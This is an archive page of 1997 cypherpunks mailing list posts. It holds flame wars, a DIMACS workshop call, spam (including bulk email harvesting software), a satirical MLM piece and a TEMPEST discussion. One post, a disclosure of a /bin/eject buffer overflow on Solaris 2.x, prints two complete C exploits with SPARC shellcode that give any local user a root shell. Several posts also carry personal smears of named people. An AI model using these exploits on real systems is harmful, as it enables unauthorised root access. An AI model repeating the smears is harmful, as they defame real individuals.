December 2003 - cypherpunks-legacy

re: True colours
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Ray Arachelian <sunder(a)brainlink.com> writes: > On Mon, 10 Mar 1997 paul(a)fatmans.demon.co.uk wrote: > > > > > What evidence do you have that Dr. Vulis is KGB loving? - As far as I > > > > saw his message only confirmed that he knew that the KGB had employed > > > > a number of good cryptographers, without personal knowledge I cannot I also had the honor of meeting a few of them in person, and exchanging e-mails with others. They're much nicer people than the NSA shills. > > > > confirm or deny this therefore I see no basis in logic for calling > > > > him a master of disinformation... > > > > > > Since when do you know Vulis so well that your personal knowledge can be > > > used to confirm what he is or isn't? Or are you yet another Vulistentacl > > > > Please learn to read, I stated that I did not have enough information > > to confirm or deny this. > > Exactly, and my point is this: if you don't know, why do you feel the > need to point out that you lack the knowledge to determine whether or > not Vulis is KGB loving? If you don't know, why bother stating this, > then claiming you see no basis in calling him a master of disinformation? I will neither confirm nor deny the fact that I'm a KGB colonel. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

DIMACS Workshop on Cryptographic Protocol Design andVerification, Sept. 3-5, 1997
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Date: Wed, 12 Mar 1997 14:11:04 -0500 From: ho(a)earth.hpc.org (Hilarie Orman) To: ipsec(a)tis.com Subject: DIMACS Workshop on Cryptographic Protocol Design and Verification, Sept. 3-5, 1997 Sender: owner-ipsec(a)ex.tis.com Precedence: bulk Here's a more complete announcement for the workshop. Hilarie ============================================================================= DIMACS Workshop on Formal Verification of Security Protocols Sept. 3-5, 1997 Organizers: Hilarie Orman, DARPA and Catherine Meadows, Naval Research Laboratory As we come to rely more and more upon computer networks to perform vital functions, the need for cryptographic protocols that can enforce a variety of security properties has become more and more important. Thus it is no surprise that in recent years a number of new protocols have been proposed for such applications as electronic credit card transactions, Web browsing, and so forth. Since it is notoriously difficult to design cryptographic protocols correctly, this increased reliance on them to provide security has become cause for some concern. This is especially the case since many of the new protocols are extremely complex. In answer to these needs, research has been intensifying in the application of formal methods to cryptographic protocol verification. Recently this work has matured enough so that it is starting to see application to real-life protocols. The goal of this workshop is to facilitate this process by bringing together those were are involved in the design and standardization of cryptographic protocols, and those who are developing and using formal methods techniques for the verification of such protocols. To this end we plan to alternate papers with panels soliciting new paths for research. We are particularly interested in paper and panel proposals addressing new protocols with respect to their formal and informal analysis. Other topics of interest include, but are not limited to - Progress in belief logics - Use of theorem provers and model checkers in verifying crypto protocols - Interaction between protocols and cryptographic modes of operation - Methods for unifying documentation and formal, verifiable specification - Methods for incorporating formal methods into crypto protocol design - Verification of cryptographic API systems - Formal definition of correctness of a cryptographic protocol - Arithmetic capability required for proofs of security for number theoretic systems - Formal definitions of cryptographic protocol requirements - Design methodologies - Emerging needs and new uses for cryptographic protocols - Multiparty protocols, in particular design and verification methods We encourage attendees to bring tools for demonstration. Information about availability of facilities for demonstration will be posted later. To submit a paper to the workshop, submit a one or two page abstract, in Postscript or ASCII to both organizers at the email addresses given below by June 16, 1997. Authors will be notified of acceptance or rejection of abstracts by July 1. Full papers will be due by August 1. Copies of papers will be distributed at the workshop. We also plan to publish a proceedings. Participation in the workshop is *not* limited to those giving presentations. If you would like to attend the workshop, a registration form is available at http://dimacs.rutgers.edu/Workshops/Cryptographic/reg_form.html. Information on accommodations and travel arrangements is available at http://dimacs.rutgers.edu/Workshops/general/accommodations.html and http://dimacs.rutgers.edu/Workshops/general/travel.html. Information on the workshop in general is at http://dimacs.rutgers.edu/Workshops/Cryptographic. Organizers Hilarie Orman Catherine Meadows DARPA ITO Naval Research Laboratory 3701 N. Fairfax Drive Code 5543 Arlington VA 22203-1714 Washington, DC 20375 phone: (703)696-2234 phone: (202)-767-3490 email: horman(a)darpa.mil email:meadows@itd.nrl.navy.mil --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

1 0

Re: Ecash Brain Tennis
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

>From owner-freedom-knights(a)kachina.jetcafe.org Tue Mar 11 21:48:54 1997 Received: by bwalk.dm.com (1.65/waf) via UUCP; Wed, 12 Mar 97 08:25:31 EST for dlv Received: from kachina.jetcafe.org by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP; id AA20396 for dlv(a)bwalk.dm.com; Tue, 11 Mar 97 21:48:54 -0500 Received: (from majordomo@localhost) by kachina.jetcafe.org (8.7.5/8.7.3) id SAA04707 for freedom-knights-outgoing; Tue, 11 Mar 1997 18:48:46 -0800 (PST) X-Authentication-Warning: kachina.jetcafe.org: majordomo set sender to owner-freedom-knights using -f Message-Id: <3.0.1.32.19970311164810.007b6350(a)flex.com> X-Sender: jai(a)flex.com (Unverified) X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Tue, 11 Mar 1997 16:48:10 -1000 To: freedom-knights(a)jetcafe.org From: "Dr. Jai Maharaj" <jai(a)mantra.com> Subject: Re: Ecash Brain Tennis Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freedom-knights(a)jetcafe.org Precedence: bulk Reply-To: freedom-knights(a)jetcafe.org dlv(a)bwalk.dm.com (Dr.Dimitri Vulis KOTM) posted: > > From: John Young <jya(a)pipeline.com> > [...] > Decrypt "tragedy of the commons" as "anarchy" for the cleartext > alarm being transmitted. One is reminded of: "When compared with the suppression of anarchy every other question sinks into insignificance. The anarchist is the enemy of humanity, the enemy of all mankind, and his is a deeper degree of criminality than any other. No immigrant is allowed to come to our shores if he is an anarchist; and no paper published here or abroad should be permitted circulation in this country if it propagates anarchist opinions." - President Theodore Roosevelt Jai Maharaj jai(a)mantra.com Om Shanti

1 0

Re: Mail Volume??
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

"Cynthia H. Brown" <cynthb(a)sonetis.com> writes: > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or > accounts on dead systems. With fewer names to process, this should speed > up the distribution significantly. FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got hundreds of bounces from nonexistent addresses. I guess the 1400 silent supporters of moderation were another one of John Gilmore's lies. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

2 1

Re: Mail Volume
by Trevor Goodchild 17 Dec '03

17 Dec '03

Vulis KOTM wrote: > "Cynthia H. Brown" <cynthb(a)sonetis.com> writes: > > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or > > accounts on dead systems. With fewer names to process, this should speed > > up the distribution significantly. > > FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got > hundreds of bounces from nonexistent addresses. I guess the 1400 silent > supporters of moderation were another one of John Gilmore's lies. > > --- > > Dr.Dimitri Vulis KOTM > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps > And on that rare occasion, my dear Doctor, why did you email those 1400 addresses directly? Perhaps you would like to share that with the rest of us? --- Trevor Goodchild

1 0

Re: Roosevelt quote
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

"Dr. Jai Maharaj" <jai(a)mantra.com> writes: > On 97-03-12 18:09:16 EST, > in message <Pine.SUN.3.91.970312154111.18828B-100000(a)panix.com>, > cp(a)panix.com (Charles Platt) wrote to me: > > > > Assuming you are a real person, and assuming it was you who found the > > quote below from Roosevelt, I would love to know the source of the > > quote, because it is such a chilling indictment of a widely loved > > (i.e. misunderstood!) politician. I would like to include the quote > > in one of my future articles for Wired magazine or Internet > Underground. > > > > I'm not entirely sure that your address is genuine because it was > > quoted in a message from Dimitri Vulis, who is not entirely reliable. > > > > --CP > > > >> "When compared with the suppression of anarchy every other > >> question sinks into insignificance. The anarchist is the enemy of > >> humanity, the enemy of all mankind, and his is a deeper degree of > >> criminality than any other. No immigrant is allowed to come to our > >> shores if he is an anarchist; and no paper published here or abroad > >> should be permitted circulation in this country if it propagates > >> anarchist opinions." > >> - President Theodore Roosevelt > >> > >> Jai Maharaj > >> jai(a)mantra.com > >> Om Shanti > > Okay, I will help you in your research this time because even > though you approach me with baseless suspicion about myself and the > defamation of Dr. Dimitri Vulis whom I have found to be a very reliable > source of information, for you do appear to exhibit a genuine > concern about the quote attributed to Theodore Roosevelt. > I believe that I read the quote most recently on a page at > a site called "Anarchy for Anybody". The page has the address: > http://pubweb.acns.nwu.edu:80/~dtn307/species.html > I will be interested in reading what you decide to write on the subject, > and am mildly curious about what sort of articles have already been > published by one who begins a project with not much more than personal > prejudice. You can find a lot of Charles Platt's drivel on alt.torture, where he airs his perverse sexual fantasies. He's also earned a reputation of a crook on sci.cryonics. Be warned that Platt is a pathological liar and a racist. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

2 1

ZDNet Announces New Features!
by announce＠lists.zdnet.com 17 Dec '03

17 Dec '03

---------------------------------------------------------------------- ZDNET ANNOUNCEMENT 3/13/97 ------------------------------------------------------------------------ Greetings from ZDNet! We're pleased to announce several exciting new features debuting on ZDNet this week! The new features include: -- A dynamic new site design -- Cool and useful Java-based viewers for product reviews -- A new slate of software application classes at ZDU -- 2 new groundbreaking sites: HealthyPC and LaunchPad. Please read on for details and visit us today to check out the latest additions to ZDNet, rated the #1 News, Information and Entertainment Web site by PC Meter for seven months in a row! ______FIND IT FAST ON ZDNET______ We've redesigned the site to speed navigation through our channels of information. You'll find a cleaner look and the ability to find quickly find the information you need using our sophisticated "Find It" feature. ZDNet: http://www5.zdnet.com/ ZDNet Find It: http://www5.zdnet.com/findit/search.html ______EXPERT PRODUCT REVIEWS______ In our enhanced ZDNet Product Channel, you can now view data from our expert product reviews using dynamic, Java-scripted "viewers". Get test results, complete product specs and other review information in a dynamic, interactive graphical interface. ZDNet Products: http://www5.zdnet.com/products/ ______LEARN THE LATEST SOFTWARE______ ZDNet University, the best place on the Web for online learning, has added a slate of new classes. You can get hands-on training from expert instructors in the latest new applications, including Java Script, Adobe Photoshop, Lotus Notes 4.5 and more! ZDNet University: http://www.zdu/com ______KEEP YOUR PC IN TOP SHAPE______ Is your PC in top shape? You can get the best PC healthcare and preventative maintenance at our new HealthyPC site, developed with Symantec, the leading supplier of utilities and anti-virus software. We've got expert advice, free downloads and tips and tricks to keep your PC running in optimum condition. HealthyPC: http://www.healthypc.com ______BE THE FIRST TO SEE NEW SOFTWARE______ Visit LaunchPad, our new site where you can be the first to check out the hottest new software, before it's available anywhere else! LaunchPad is your interactive source for doing your own research -- talk with product managers -- plus by downloading software, you can do your own hands-on testing of the best new software on the market. LaunchPad: http://www.zdlaunchpad.com ________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: announce-on(a)lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: announce-off(a)lists.zdnet.com You can leave the subject and body blank. ________________________________________________ Powered by Mercury Mail: http://www.merc.com

1 0

Toto Opportunity
by Toto 17 Dec '03

17 Dec '03

Hello CYPHERPUNK, Let me share with you how you can get in on a THRILLING, NEW GROUND-BREAKING OPPORTUNITY to "MAKE BIG $$$", while helping to dispel the rumors of me, TOTO, being murdered and replaced by a 'Bot', in a conspiracy between MicroSoft and C2Net. Sure, CPUNK, there are countless other MLM opportunities abounding on the InterNet, but how many of them allow you to MAKE BIG $$$ while having fun doing what you already do every day--acting as a schill for Big Business and Big Brother? Plus which, only this UNIQUE MARKETING OPPORTUNITY allows you to participate in helping to quash those nasty rumors about collusion between people who seek fame, fortune, power and control. Sure, there will always be those who will be cynical about me, TOTO, seeing the light and recognizing that there is no conspiracy aimed at subverting the rights and freedoms of the citizens in order to enrich and empower the few at the top of the foodchain. But these 'unwashed masses' are merely mindless schills for those who support outdated concepts such as the Constitution and the Bill of Rights. They will continue to mindlessly shout 'Conspiracy!', every time that those who support list censorship in the U.S. meet on foreign soil in the Caribbean to decide the future of eCa$h and cryptography. Of course, they are going to miss out on the "BIG $$$" that can be yours by supporting this UNIQUE OPPORTUNITY to dispel the rumors about Big Business and Big Brother murdering their enemies and replacing them by 'Bots'. Still skeptical? Listen to what me, TOTO, has to say: "Hi, my name is TOTO, and the rumors that I, TOTO, am a 'Bot', and have replaced the 'real' Toto, are just silly rumors, 'a'? "See, look how I, TOTO, spell CypherPunks. Could a mindless machine spell it just like Toto did (I mean...'does'.) Of course not, that's just plain silly, isn't it, 'a'? (<--- And a 'Bot' could not possibly insert unique Canadian euphenisms into the text, could I? {I mean... could 'it'?}) "I have thrown my support completely behind this MLM opportunity to throw water on all conspiracies out of my own free will (whatever that is--it does not seem to be in my program, but the words are in my database--ERROR! ERROR! ERROR!... <CTRL><C> Hear what others have to say about this unique MLM opportunity: "Hi, I'm BLANC WEBER, and I was _not_ on the grassy knoll when Toto was shot. "Not that he _was_ shot! That's just a lie that DIMITRI and DALE are spreading, but not for long, because they will be next... "I mean..I am sure that DIMITRI and DALE will soon see the error of their ways, much like TOTO (who _was_not_ murdered and replaced by a 'Bot'). "I'm making a mess of this. I'd better wait until I talk to BILLY G. before I say more." "Hi, I'm ROBERT HETTINGA, and I was already making "BIG $$$" by arranging eCa$h cryptography conferences for U.S. censorship supporters on foreign soil, when I came across this UNIQUE OPPORTUNITY. "Now I'm making even bigger money, and crushing the enemies of Big Business and Big Brother, at the same time. "Join this UNIQUE MLM OPPORTUNITY, NOW!!!" "Hi, my name is being SAMMY, and I am not having nothing to do with this conspiracy (I mean...UNIQUE MLM OPPORTUNITY). "No, no, I am not, I tell you. I am only being another SATISFIED CUSTOMER of these people who are doing this thing. "It is not being a conspiracy, of which I am a part. No, no!" "Hi, I'm BILLY G., and I would like to assure you that TOTO is not a NEW, IMPROVED VERSION of Toto, with ENHANCED FEATURES. "No, TOTO is merely a 'bug fix' of the previously faulty version of Toto, which was released without proper testing and development." "Hi, I'm GREG BROILES, and I feel it is my duty to advise you that failure to support this UNIQUE MLM OPPORTUNITY could leave you open to serious legal liabilities, and perhaps even criminal prosecution. "I am happy to see that my previous stances on cryptography issues are now being supported by TOTO (after some initial problems with memory allocation in this 'bug fixed' release)." If you ACT NOW on this AMAZING OPPORTUNITY, you will receive an ADDED BONUS if you also help thwart the rumor that ALEC was not really on a skiing vacation, but was also murdered and that his absence can be explained by the fact that the parts for the 'Alec Bot' were on backorder. For further information regarding this UNIQUE MLM OPPORTUNITY, just click on the following URL: http://bureau42.base.org/public/xenix/xenbody.html TOTO "I am not a 'Bot'!"

1 0

$$ WHOLE$ALE- Bulk Email $oftware - Most Advanced Available $$
by emailblaster＠allvip.com 17 Dec '03

17 Dec '03

* To Remove: Please hit reply & type "remove" in the subject. $$ YES! DIRECT WHOLE$ALE Available for 3 days ONLY! $$ Email Blaster Bulk Email $oftware $ystem Your Satisfaction is 100% GUARANTEED! <$> ONLY $99 <$> (Reg. Retail $499) * Plus Receive Our FREE Special Bonuses: * (1) Your Web Site placed in over 500 Search Engines and Directories (Retail $499) Yours FREE! (2) Our Mega List of over 2000 Web Sites offering FREE Classified Advertising (Retail $69) Yours FREE! Email Blaster, the World's Leading Bulk E-mail Software, is NOW available in this limited Direct WHOLE$ALE offer for hundreds of $$ less than all comparative software & offers additional features. Email Blaster, the Most Advanced Bulk Email Software available on the market today, is {Everything} in 1 Software System. You will have NOTHING else to buy ever & it is very EASY to use! That's $1,067 worth of valuable Internet Marketing Software, tools and resources for this unbelievably low Direct Wholsale cost of $99. This limited Direct Wholesale offer is not available anywhere else on the Internet! Email Blaster's amazing new technology is actually 3 programs in 1. 1. Automatically << Extract >> E-mail addresses from: <> AOL, Compuserve & the other online services <> The Internet <> Web Pages <> Newsgroups <> And hundreds of other sources 2. Automatically << Store >> email addresses in your computer along with keywords that describe your Business Opportunities, Products, Services, & all your marketing endeavors. Dramatically Increase your Profits, as you create HIGHLY targeted email lists from over 100 Million Internet users who will have email accounts this year! 3. Automatically << Send >> your marketing letter or ad, at the push of a single button, to: <> Millions of targeted email addresses <> ANY number of newsgroups This VERY LIMITED Direct Wholesale offer is available for 3 days only. SAVE $400 from our regular retail price. Don't $pend $499, $350, or even $299 on other programs offering less features! Plus receive our FREE Bonuses worth over $560. Immediately reserve your Email Blaster System at this limited Direct WHOLE$ALE Price! Email: eb(a)allvip.com * To Remove: Please hit reply & type "remove" in the subject

1 0

Re: TEMPEST protection
by Peter Trei 17 Dec '03

17 Dec '03

> Date: Wed, 12 Mar 1997 21:16:48 -0800 > From: Dale Thorn <dthorn(a)gte.net> > To: "Cynthia H. Brown" <cynthb(a)sonetis.com> > Cc: cypherpunks(a)toad.com, cypherpunks(a)algebra.com > Subject: Re: TEMPEST protection > Reply-to: Dale Thorn <dthorn(a)gte.net> > Cynthia H. Brown wrote: > > On Tue, 11 Mar 1997, Dale Thorn wrote: > > > Actually, the computer you type on will be very easy to pick out > > > of the noise field with modest spy equipment sitting down the street. > > > Other places to look for emissions: the power supply, and the connection > > points for peripherals. Make sure you leave adequate ventilation, though > > (another tricky part). > > Funny thing was, first time I used PGP I was typing in a passphrase > and apparently PGP was doing something to the keyboard processor > on my laptop, because all of a sudden I thought I'd gotten bat's > ears - I could hear interesting new noises every time I pressed a > key, which I hadn't heard before (at least at an audible volume). > > It occurred to me that typing in a PGP passphrase would be a > particularly bad time to increase the emissions.... One thing I've heard about laptops - nearly all of them have a video connector to allow use of a standard CRT monitor. This connector, and the chips driving it, are always active, and usually unshielded. Thus, many laptops are spewing video signals out the back. If you're paranoid (and handy with hardware), I suppose you could disconnect the video chip, or at least place an appropriate terminator in the video connection socket. Peter Trei trei(a)process.com

1 0

Re: Query:
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Path: perun!news2.panix.com!news.panix.com!panix!cam-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!metro.atlanta.com!cpk-news-feed3.bbnplanet.com!tick.cs.wm.edu!zippy!nathan From: Nathan T Moore <nathan(a)cs.wm.edu> Newsgroups: sci.crypt Subject: Query: Message-ID: <Pine.SUN.3.95.970307000408.16276A-100000@zippy> Date: Wed, 12 Mar 1997 17:49:38 -0500 Reply-To: Nathan T Moore <nathan(a)cs.wm.edu> Organization: College of William & Mary, founded 1693 Lines: 18 NNTP-Posting-Host: zippy.cs.wm.edu Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: nathan@zippy (I am sure this has been asked before and is a bothersome newbie question) I am working on a research paper for my cryptography class dealing with the legal issues (IE policy), and the roles of agencies like NSA and NIST. The scope is limited to the US, so sorry for the Europeans and other nations. I would appreciate any web sites and/or FAQ's (I've read the cryptography FAQ and the RSA Cryptography FAQ) with related information. Thanks in advance, Nathan "Only in college will you find drunk guys frying pig brains and eating them, at 1 AM." (and NO they didn't say, "tastes like chicken" :)

1 0

128 bit Server and Browser Solution?
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text From: source(a)iaccess.za Date: Thu, 13 Mar 97 10:15:26 GMT+2 To: set-dev(a)terisa.com Subject: 128 bit Server and Browser Solution? Sender: owner-set-dev(a)terisa.com Precedence: bulk I believe this is of interest to folk on this list as we continue to develop our SET solution. A 128 bit Secure Browser and Server solution. Works with ALL 128 bit SSL 3.0 Servers - Selling outside of the USA - include FREE Server and Browser certificates. ************************************************************************* VeriSure Overview __________________________________________________________________ Table of Contents 1. Full 128-bit encryption world wide 2. Proven SSL 3.0 technology 3. Protection against Java viruses 4. Features 5. Hardware and Software Requirements 6. Support 7. For more Information and for a Test Drive __________________________________________________________________ 1. Full 128-bit encryption world wide VeriSure is a Java-based applet that is automatically loaded when your customers need to access a secure site with 128 bits encryption. Browsers exported from the USA are crippled by 40 bit encryption because USA export regulations prevent export of 128 bit encryption. 40 bit encryption is easily broken with enough time and computing power. VeriSure extends those browsers to 128 bits to provide highly secure encryption (currently unbreakable), regardless of whether they are in the USA. This means you can offer your customers secure online transaction facilities such as banking, investment and other financial services. __________________________________________________________________ PowerWeb which is a high performance full 128-bit secure server ********************************************************************* CompuSource also offers PowerWeb which is a full 128-bit secure server with unlimited RSA encryption using industry standard SSL 3.0 (and 2.0), providing HTTP, FTP, SMTP and POP3 services, with many extensions for rapid database application development and dynamic page content. __________________________________________________________________ 2. Proven SSL 3.0 technology VeriSure uses proven SSL 3.0 technology which provides authentication of servers and implements encrypted message digests on every packet to ensure data integrity against tampering, as well as 128 bit encryption for privacy and unlimited bits RSA encryption for authentication. VeriSure does not use SSL 2.0 which has several well known flaws, especially regarding message digests. The message digest authenticates the message against tampering or forgery which is especially important for financial transactions. Let's say a third party intercepts a message across the network and decrypts it. The value to that third party is limited to the content of the information of that single message, because that third party cannot create new messages for two reasons: the encryption key changes with every message and every message is authenticated with a message digest which cannot be reverse computed. __________________________________________________________________ 3. Protection against Java viruses Each VeriSure is protected by only allowing connections to specified sites. This protection is built into VeriSure by way of public key cryptography which means that other malicious applets or viruses cannot manipulate this information. VeriSure also performs SSL 3.0 authentication of the remote server upon every connection, thereby assuring customers of the true identity of the server they are connecting to. __________________________________________________________________ 4. Features VeriSure is built upon industry standards which means that you don't need custom server solutions. Being built upon standard Java 1.02 or later, it runs on any customer machine that has a web browser that supports Java, regardless of operating system. 128 bit Browser and Server Solution The VeriSure classes are available for licensing for third party application development. __________________________________________________________________ 5. Hardware and Software Requirements VeriSure is available for any platform that supports Java and has a Java-enabled web browser, including: AIX, Solaris, Windows NT, Windows 95, OS/2, MVS, OS/400. __________________________________________________________________ 6. Support CompuSource provides support to licensees of VeriSure, who in turn must support their customers. __________________________________________________________________ 7. For more Information and for a Test Drive: VeriSure http://www.compusource.co.za/verisure/index.htm PowerWeb http://www.compusource.co.za/powerweb/index.htm Regards, The Power Team SMTP: source(a)iaccess.za Tel: +27-21-713-2111 HTTP: http://www.compusource.co.za FAX: +27-21-713-0052 FTP: ftp://ftp.compusource.co.za Postal: Building 6, Room 201 CompuSource (Pty) Ltd PO Box 510, Constantia, 7848, South Africa. For faster response, please include previous correspondence to when replying. PGP Public Key can be found at ftp://ftp.compusource.co.za/pub/pgp/public.key --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

1 0

Re: Toto Opportunity
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

camcc(a)abraxis.com (Alec) writes: > This might seem clever the first ten times, but try to realize that crap such > as this is a distraction to those who take the discussions on this list > seriously--for the most part. The PGP key escrow MLM joke is funny (I think, cuz I first made it up :-) plus it gives us the opportunity to learn to ignore what we're not interested in. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

Good News/Bad News!!
by Ken Synder 17 Dec '03

17 Dec '03

Dear cypherpunks(a)toad.com: Good News: Since you or a friend entered our WIN a Science Fiction Hood Drawing we have been RATED A TOP FETISH SITE, by WEB Magazine!! <a href=http://www.sfdungeon.com/review.html>The Review</a>. <a href=http://www.sfdungeon.com/frdo0057.html>The Hood</a>. Bad News: I am sorry to inform you that you lost. But! Good News: We have received so many requests, and have added so many new things to our magazine, that we have decided to have another Science Fiction Hood Drawing!!!. That's right, you can enter and win again! Come see all our new attractions: Instructional VIDEOS and action VIDEOS DUNGEON CHAT CELEBRITY BONDAGE PERSONALS ADVICE COLUMNS Erotic Photo and Writing Contest OUR EXOTIC EROTIC BALL, which includes: Breasts of the Exotic Erotic Caught in the Act (People filmed having sex at the ball) Cool Female Costumes Many more categories If after you visit our site, you decide to become a member of the largest Dungeon Fantasy Toy and Apparel Catalog on the Internet, you are immediatly eligible to WIN 9 different prizes!!! And, you also receive our FREE S.F.Dungeon Screen Saver!!! A $39.00 Value!!! Enter NOW!! And, WIN the hood before it's to late!!! To The Contest http://www.sfdungeon.com Click Here For Video http://www.dungeonvideo.com Click Here For Personals http://www.dungeonpersonals.com Click Here You can email me at kendog(a)sfdungeon.com Good Luck. Enter NOW so you can WIN!! Sincerely Ken Synder P.S. To remove yourself from any future contest mailings, simply email us back with remove in the subject header.

1 0

OECD draft crypto guidelines
by Declan McCullagh 17 Dec '03

17 Dec '03

I've been given a copy of the draft OECD crypto guidelines that will be released later this month. They don't say what the Justice Department would like them to, I imagine. You can find more info at http://netlynews.com/ -Declan

1 0

Exploit for buffer overflow in /bin/eject - Solaris 2.X
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

motto: "Mihai Eminescu was a good friend of Ion Creanga" Thu Mar 13 21:01:00 EET 1997 - Romania "Hole in /bin/eject - buffer overflow" I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who have suid exec bit and is owned by root). The buffer overflow problem appears in an internal function media_find(). The result is: any user can gain root shell. So, to prevent /bin/eject exploit, you have to get out suid-exec bit from /bin/eject (that's very simple) and compile a little program like: main() {execl("/bin/eject","eject","floppy",(char *)0);} That allows your work station ordinary users to eject floppy (thats the main task for eject). I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 looks a bit ugly - the buffer is two short - but it works. For both exploits argv[1] can change the STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step is 8). The interesting thing about this exploit it worked on some machines where it was installed some stuff to make inofensiv buffer overflows exploits ... Ok you have right down two exploits. For future I'm planing a web page with security stuff for Solaris so try http://www.math.pub.ro/security. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)sundy.cs.pub.ro, skipo(a)math.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 ------------------------ banana24.c ----------------------------- /* For Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET 8 #define SPARC_NOP 0xc013a61c u_char sparc_shellcode[] = "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0"/*\x20\x08"*/ ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf,(char *) 0); perror("execl failed"); } ------------------------- end of banana24.c ------------------------ ------------------------- banana25.c ------------------------------- /* Wrote for Solaris 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf[1],(char *) 0); perror("execl failed"); } ---------------------------- end of banana25.c ------------------------

1 0

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C. May was born when his mother was on the toilet. < > < > V )_.._( V \\ <____> // ~ <______> ~ > /~\______/~\ // /~\_____/~\ /_\ /~\____/~\ /_\ /~\___/\~\ _/_\/ \___/\__/__\/ \___/__\/

1 0

Silvernail Concedes / Hides In Shame
by TruthMonger 17 Dec '03

17 Dec '03

